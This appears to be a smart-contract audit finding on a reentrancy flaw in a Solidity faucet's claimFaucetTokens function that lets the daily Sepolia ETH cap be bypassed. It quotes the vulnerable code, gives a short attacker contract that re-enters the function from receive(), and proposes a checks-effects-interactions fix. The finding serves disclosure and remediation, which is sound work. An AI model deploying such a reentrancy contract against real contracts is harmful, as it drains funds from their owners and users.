[H-1] Reentrancy allows attackers to bypass dailySepEthCap and drain Sepolia ETH
Description
-
The contract allows users to claim a fixed amount of Sepolia ETH per day, constrained by the dailySepEthCap variable; when the day's distributed Sepolia ETH exceeds the cap the contract reports "Daily ETH cap reached".
-
The claimFaucetTokens function contains a reentrancy vulnerability that can reset dailyDrips, causing the dailyDrips + sepEthAmountToDrip <= dailySepEthCap check to be bypassed and enabling excessive Sepolia ETH drips.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (
@> dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
} else {
@> dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:High
Impact:High
Proof of Concept
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract MaliciousContract {
IRaiseBoxFaucet public target;
constructor(address _target) {
target = IRaiseBoxFaucet(_target);
}
function startAttack() external {
target.claimFaucetTokens();
}
receive() external payable {
target.claimFaucetTokens();
}
}
Recommended Mitigation
Follow the Checks-Effects-Interactions (CEI) pattern: move the lastClaimTime[faucetClaimer] = block.timestamp assignment before any external transfers, and remove the dailyDrips = 0 assignment.
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
+ lastClaimTime[faucetClaimer] = block.timestamp;
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
}
- else {
- dailyDrips = 0;
- }
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}